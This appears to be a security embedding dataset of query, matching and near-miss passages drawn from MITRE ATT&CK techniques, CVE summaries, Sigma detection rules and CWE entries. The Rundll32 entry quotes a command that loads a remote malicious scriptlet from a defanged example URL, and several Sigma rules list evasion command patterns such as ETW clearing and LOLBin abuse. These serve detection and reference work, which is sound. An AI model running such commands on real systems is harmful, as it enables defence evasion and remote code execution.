alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: SOC alert related to System Binary Proxy Execution
Matching passage: T1218 System Binary Proxy Execution. Tactics: stealth. Description: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)
Near-miss passage: T1218.011 Rundll32. Tactics: stealth. Description: Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion) Threat actors may also abuse legitimate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.dll</code>) with <code>rundll32.exe</code> to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll) Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleD
Query: risk of Cross-site request forgery (CSRF) vulnerability in the All In One WP Security & Firewall plugin before 3.9.0 for WordPress allows remote attackers to hijack the authentication of a
Matching passage: CVE-2015-0895. CWE: CWE-352. CVSS: 6.800000190734863. Cross-site request forgery (CSRF) vulnerability in the All In One WP Security & Firewall plugin before 3.9.0 for WordPress allows remote attackers to hijack the authentication of administrators for requests that delete logs of 404 (aka Not Found) HTTP status codes.
Near-miss passage: CVE-2015-9432. CWE: CWE-352. CVSS: 6.5. The alpine-photo-tile-for-instagram plugin before 1.2.7.6 for WordPress has CSRF with resultant XSS via the wp-admin/options-general.php?page=alpine-photo-tile-for-instagram-settings tab parameter.
Query: risk of Unspecified vulnerability in the Oracle Data Integrator component in Oracle Fusion Middleware 11.1.1.3.0 allows remote attackers to affect confidentiality, integrity, and availabil
Matching passage: CVE-2015-2636. CWE: UNKNOWN. CVSS: 7.5. Unspecified vulnerability in the Oracle Data Integrator component in Oracle Fusion Middleware 11.1.1.3.0 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors related to Data Quality based on Trillium, a different vulnerability than CVE-2015-0443, CVE-2015-0444, CVE-2015-0445, CVE-2015-0446, CVE-2015-2634, CVE-2015-2635, CVE-2015-4758, and CVE-2015-4759.
Near-miss passage: CVE-2015-1249. CWE: UNKNOWN. CVSS: 7.5. Multiple unspecified vulnerabilities in Google Chrome before 42.0.2311.90 allow attackers to cause a denial of service or possibly have other impact via unknown vectors.
Query: patch priority for CVE-2015-4859
Matching passage: CVE-2015-4859. CWE: UNKNOWN. CVSS: 5.800000190734863. Unspecified vulnerability in the Enterprise Manager Base Platform component in Oracle Enterprise Manager Grid Control 12.1.0.4 and 12.1.0.5 allows remote attackers to affect confidentiality and integrity via unknown vectors related to Agent Next Gen.
Near-miss passage: CVE-2015-3417. CWE: UNKNOWN. CVSS: 6.800000190734863. Use-after-free vulnerability in the ff_h264_free_tables function in libavcodec/h264.c in FFmpeg before 2.3.6 allows remote attackers to cause a denial of service or possibly have unspecified other impact via crafted H.264 data in an MP4 file, as demonstrated by an HTML VIDEO element that references H.264 data.
Query: intelligence brief on T1014
Matching passage: T1014 Rootkit. Tactics: stealth. Description: Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit) Rootkits that reside or modify boot sectors are known as [Bootkit](https://attack.mitre.org/techniques/T1542/003)s and specifically target the boot process of the operating system.
Near-miss passage: T1535 Unused/Unsupported Cloud Regions. Tactics: stealth. Description: Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure. Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected. A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity. An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)
Query: Sigma rule for Detects command line activity that tries to clear or disable any ETW trace log which could be a sign of logging evasion.
Matching passage: Sigma rule: Detects command line activity that tries to clear or disable any ETW trace log which could be a sign of logging evasion.. Logsource: windows / process_creation. Rule: title: ETW Trace Evasion Activity id: a238b5d0-ce2d-4414-a676-7a531b3d13d6 status: test description: 'Detects command line activity that tries to clear or disable any ETW trace log which could be a sign of logging evasion. ' references: - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil - https://abuse.io/lockergoga.txt - https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63 author: '@neu5ron, Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community' date: 2019-03-22 modified: 2022-06-28 tags: - attack.stealth - attack.defense-impairment - attack.t1070 - attack.t1685 - car.2016-04-002 logsource: category: process_creation product: windows detection: selection_clear_1: CommandLine|contains|all: - cl - /Trace selection_clear_2: CommandLine|contains|all: - clear-log - /Trace selection_disable_1: CommandLine|contains|all: - sl - /e:false selection_disable_2: CommandLine|contains|all: - set-log - /e:false selection_disable_3: CommandLine|contains|all: - logman - update - trace - --p - -ets selection_pwsh_remove: CommandLine|contains: Remove-EtwTraceProvider selection_pwsh_set: CommandLine|contains|all: - Set-EtwTraceProvider - '0x11' condition: 1 of selection_* falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: This event is generated when an authenticated user who is not allowed to log on remotely attempts to connect to this com. Logsource: windows / security. Rule: title: Denied Access To Remote Desktop id: 8e5c03fa-b7f0-11ea-b242-07e0576828d9 status: test description: 'This event is generated when an authenticated user who is not allowed to log on remotely attempts to connect to this computer through Remote Desktop. Often, this event can be generated by attackers when searching for available windows servers in the network. ' references: - https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4825 author: Pushkarev Dmitry date: 2020-06-27 modified: 2021-11-27 tags: - attack.lateral-movement - attack.t1021.001 logsource: product: windows service: security detection: selection: EventID: 4825 condition: selection falsepositives: - Valid user was not added to RDP group level: medium
Query: describe CVE-2015-3112
Matching passage: CVE-2015-3112. CWE: CWE-119. CVSS: 10.0. Adobe Photoshop CC before 16.0 (aka 2015.0.0) and Adobe Bridge CC before 6.11 allow attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors.
Near-miss passage: CVE-2015-6490. CWE: CWE-119. CVSS: 9.800000190734863. Stack-based buffer overflow on Allen-Bradley MicroLogix 1100 devices before B FRN 15.000 and 1400 devices through B FRN 15.003 allows remote attackers to execute arbitrary code via unspecified vectors.
Query: describe CVE-2015-4161
Matching passage: CVE-2015-4161. CWE: CWE-264. CVSS: 7.5. SAP Afaria does not properly restrict access to unspecified functionality, which allows remote attackers to obtain sensitive information, gain privileges, or have other unspecified impact via unknown vectors, SAP Security Note 2155690.
Near-miss passage: CVE-2015-2527. CWE: CWE-264. CVSS: 7.199999809265137. The process-initialization implementation in win32k.sys in the kernel-mode drivers in Microsoft Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT Gold and 8.1, and Windows 10 does not properly constrain impersonation levels, which allows local users to gain privileges via a crafted application, aka "Win32k Elevation of Privilege Vulnerability."
Query: alert when Detects WMIC executing "process call create" with suspicious calls to processes such as "rundll32", "regsrv32", etc.
Matching passage: Sigma rule: Detects WMIC executing "process call create" with suspicious calls to processes such as "rundll32", "regsrv32", etc.. Logsource: windows / process_creation. Rule: title: Suspicious Process Created Via Wmic.EXE id: 3c89a1e8-0fba-449e-8f1b-8409d6267ec8 related: - id: 526be59f-a573-4eea-b5f7-f0973207634d type: derived status: test description: Detects WMIC executing "process call create" with suspicious calls to processes such as "rundll32", "regsrv32", etc. references: - https://thedfirreport.com/2020/10/08/ryuks-return/ - https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems) date: 2020-10-12 modified: 2023-02-14 tags: - attack.execution - attack.t1047 logsource: category: process_creation product: windows detection: selection: CommandLine|contains|all: - 'process ' - 'call ' - 'create ' CommandLine|contains: - rundll32 - bitsadmin - regsvr32 - 'cmd.exe /c ' - 'cmd.exe /k ' - 'cmd.exe /r ' - 'cmd /c ' - 'cmd /k ' - 'cmd /r ' - powershell - pwsh - certutil - cscript - wscript - mshta - \Users\Public\ - \Windows\Temp\ - \AppData\Local\ - '%temp%' - '%tmp%' - '%ProgramData%' - '%appdata%' - '%comspec%' - '%localappdata%' condition: selection falsepositives: - Unknown level: high simulation: - type: atomic red team name: WMI Execute rundll32 technique: T1047 atomic_guid: 00738d2a-4651-4d76-adf2-c43a41dfb243 regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_wmic_susp_process_creation/info.yml
Near-miss passage: Sigma rule: Detects the execution of "logman" utility in order to disable or delete Windows trace sessions. Logsource: windows / process_creation. Rule: title: Suspicious Windows Trace ETW Session Tamper Via Logman.EXE id: cd1f961e-0b96-436b-b7c6-38da4583ec00 status: test description: Detects the execution of "logman" utility in order to disable or delete Windows trace sessions references: - https://twitter.com/0gtweet/status/1359039665232306183?s=21 - https://ss64.com/nt/logman.html author: Florian Roth (Nextron Systems) date: 2021-02-11 modified: 2023-02-21 tags: - attack.defense-impairment - attack.t1685 - attack.t1685.005 logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: \logman.exe - OriginalFileName: Logman.exe selection_action: CommandLine|contains: - 'stop ' - 'delete ' selection_service: CommandLine|contains: - Circular Kernel Context Logger - EventLog- - SYSMON TRACE - SysmonDnsEtwSession condition: all of selection* falsepositives: - Legitimate deactivation by administrative staff - Installer tools that disable services, e.g. before log collection agent installation level: high
Query: playbook for alert: Lateral movement indicators for Video Capture
Matching passage: Playbook for T1125 Video Capture. 1) Validate alert telemetry against T1125. 2) Scope affected hosts and accounts. 3) Contain by isolating endpoint / disabling account if confirmed. 4) Hunt for related tactics: collection. 5) Eradicate persistence and recover. Reference detection notes: An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files. Malware or scripts may be used to interact with the devices through an a
Near-miss passage: Playbook for T1123 Audio Capture. Different response path focused on collection.
Query: Sigma YAML for linux / process_creation
Matching passage: Sigma rule: Detects the usage of utilities such as 'systemctl', 'service'...etc to stop or disable tools and services on Linux syste. Logsource: linux / process_creation. Rule: title: Disable Or Stop Services id: de25eeb8-3655-4643-ac3a-b662d3f26b6b status: test description: 'Detects the usage of utilities such as ''systemctl'', ''service''...etc to stop or disable tools and services on Linux systems. Attackers may stop or disable security tools and services to evade detection, maintain persistence, or disrupt system operations. ' references: - https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html author: Nasreddine Bencherchali (Nextron Systems) date: 2022-09-15 modified: 2025-03-18 tags: - attack.defense-impairment - attack.t1685 - attack.impact - attack.t1489 logsource: category: process_creation product: linux detection: selection: Image|endswith: - /service - /systemctl - /chkconfig CommandLine|contains: - ' stop ' - ' disable ' filter_main_legit_snapd: Image|endswith: /systemctl CommandLine|contains: - --no-reload disable snap-snapd- - ' stop snap-snapd-' filter_main_ssh_preinstall: Image|endswith: /systemctl ParentCommandLine|contains: tmp.ci/preinst upgrade CommandLine|contains|all: - ' stop ' - ssh. filter_main_ubuntu_upgrade: ParentCommandLine|contains: /dpkg/info/ubuntu-pro-client.prerm upgrade Image|endswith: /systemctl filter_optional_aws_agent: Image|endswith: /systemctl CommandLine|endswith: snap.amazon-ssm-agent.amazon-ssm-agent.service condition: selection and not 1 of filter_main_* and not 1 of filter_optional_* falsepositives: - Legitimate administration activities - Some false positives are to be expected. Apply additional filters as needed before pushing to production. level: medium
Near-miss passage: Sigma rule: Hides the file extension through modification of the registry. Logsource: windows / registry_set. Rule: title: Registry Modification to Hidden File Extension id: 5df86130-4e95-4a54-90f7-26541b40aec2 status: test description: Hides the file extension through modification of the registry references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-1---modify-registry-of-current-user-profile---cmd - https://unit42.paloaltonetworks.com/ransomware-families/ - https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanSpy%3aMSIL%2fHakey.A author: frack113 date: 2022-01-22 modified: 2023-08-17 tags: - attack.persistence - attack.t1137 logsource: category: registry_set product: windows detection: selection_HideFileExt: TargetObject|endswith: \SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt Details: DWORD (0x00000001) selection_Hidden: TargetObject|endswith: \SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden Details: DWORD (0x00000002) condition: 1 of selection_* falsepositives: - Administrative scripts level: medium
Query: patch priority for CVE-2015-0324
Matching passage: CVE-2015-0324. CWE: CWE-119. CVSS: 10.0. Buffer overflow in Adobe Flash Player before 13.0.0.269 and 14.x through 16.x before 16.0.0.305 on Windows and OS X and before 11.2.202.442 on Linux allows attackers to execute arbitrary code via unspecified vectors.
Near-miss passage: CVE-2015-5380. CWE: CWE-119. CVSS: 7.5. The Utf8DecoderBase::WriteUtf16Slow function in unicode-decoder.cc in Google V8, as used in Node.js before 0.12.6, io.js before 1.8.3 and 2.x before 2.3.3, and other products, does not verify that there is memory available for a UTF-16 surrogate pair, which allows remote attackers to cause a denial of service (memory corruption) or possibly have unspecified other impact via a crafted byte sequence.
Query: vulnerability: XML external entity (XXE) vulnerability in the SVG to (1) PNG and (2) JPG conversion classes in Apache Batik 1.x before 1.8 allows remote attackers to read arbitrary files or cause
Matching passage: CVE-2015-0250. CWE: UNKNOWN. CVSS: 6.400000095367432. XML external entity (XXE) vulnerability in the SVG to (1) PNG and (2) JPG conversion classes in Apache Batik 1.x before 1.8 allows remote attackers to read arbitrary files or cause a denial of service via a crafted SVG file.
Near-miss passage: CVE-2015-0417. CWE: UNKNOWN. CVSS: 4.0. Unspecified vulnerability in the Siebel UI Framework component in Oracle Siebel CRM 8.1.1 and 8.2.2 allows remote authenticated users to affect confidentiality via unknown vectors related to Portal Framework, a different vulnerability than CVE-2015-0388.
Query: detect Indicates sign-ins from an anonymous IP address, for example, using an anonymous browser or VPN. in logs
Matching passage: Sigma rule: Indicates sign-ins from an anonymous IP address, for example, using an anonymous browser or VPN.. Logsource: azure / riskdetection. Rule: title: Anonymous IP Address id: 53acd925-2003-440d-a1f3-71a5253fe237 status: test description: Indicates sign-ins from an anonymous IP address, for example, using an anonymous browser or VPN. references: - https://learn.microsoft.com/en-us/graph/api/resources/riskdetection?view=graph-rest-1.0 - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#anonymous-ip-address author: Gloria Lee, '@gleeiamglo' date: 2023-08-22 tags: - attack.t1528 - attack.credential-access logsource: product: azure service: riskdetection detection: selection: riskEventType: anonymizedIPAddress condition: selection falsepositives: - We recommend investigating the sessions flagged by this detection in the context of other sign-ins level: high
Near-miss passage: Sigma rule: Detects system restore registry modification via command line, which can be used by adversaries to disable system restor. Logsource: windows / process_creation. Rule: title: System Restore Registry Modification via CommandLine id: 7c06ab9b-b1d2-4ba9-b06e-09491ded20d9 related: - id: 5de03871-5d46-4539-a82d-3aa992a69a83 type: similar status: experimental description: 'Detects system restore registry modification via command line, which can be used by adversaries to disable system restore on the computer. ' references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-9---disable-system-restore-through-registry author: Swachchhanda Shrawan Poudel (Nextron Systems) date: 2026-03-11 tags: - attack.impact - attack.t1490 logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: - \powershell.exe - \pwsh.exe - \reg.exe - OriginalFileName: - powershell.exe - pwsh.dll - reg.exe selection_cli_action: CommandLine|contains: - ' add ' - Set-ItemProperty - New-ItemProperty selection_cli_reg_root: CommandLine|contains: - \SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore - \SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore selection_cli_reg_key: CommandLine|contains: - DisableConfig - DisableSR condition: all of selection_* falsepositives: - Unknown level: high regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_reg_system_restore_modification/info.yml simulation: - type: atomic-red-team name: Disable System Restore Through Registry technique: T1490 atomic_guid: 66e647d1-8741-4e43-b7c1-334760c2047f
Query: common weakness: Improper Protection for Outbound Error Messages and Alert Signals
Matching passage: CWE-1320 Improper Protection for Outbound Error Messages and Alert Signals. Untrusted agents can disable alerts about signal conditions exceeding limits or the response mechanism that handles such alerts.
Near-miss passage: CWE-26 Path Traversal: '/dir/../filename'. The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize /dir/../filename sequences that can resolve to a location that is outside of that directory.
Query: patch priority for CVE-2015-2108
Matching passage: CVE-2015-2108. CWE: CWE-200. CVSS: 3.5. Unspecified vulnerability in Powershell Operations in HP Operations Orchestration 9.x and 10.x allows remote authenticated users to obtain sensitive information via unknown vectors.
Near-miss passage: CVE-2015-0310. CWE: CWE-200. CVSS: 7.800000190734863. Adobe Flash Player before 13.0.0.262 and 14.x through 16.x before 16.0.0.287 on Windows and OS X and before 11.2.202.438 on Linux does not properly restrict discovery of memory addresses, which allows attackers to bypass the ASLR protection mechanism on Windows, and have an unspecified impact on other platforms, via unknown vectors, as exploited in the wild in January 2015.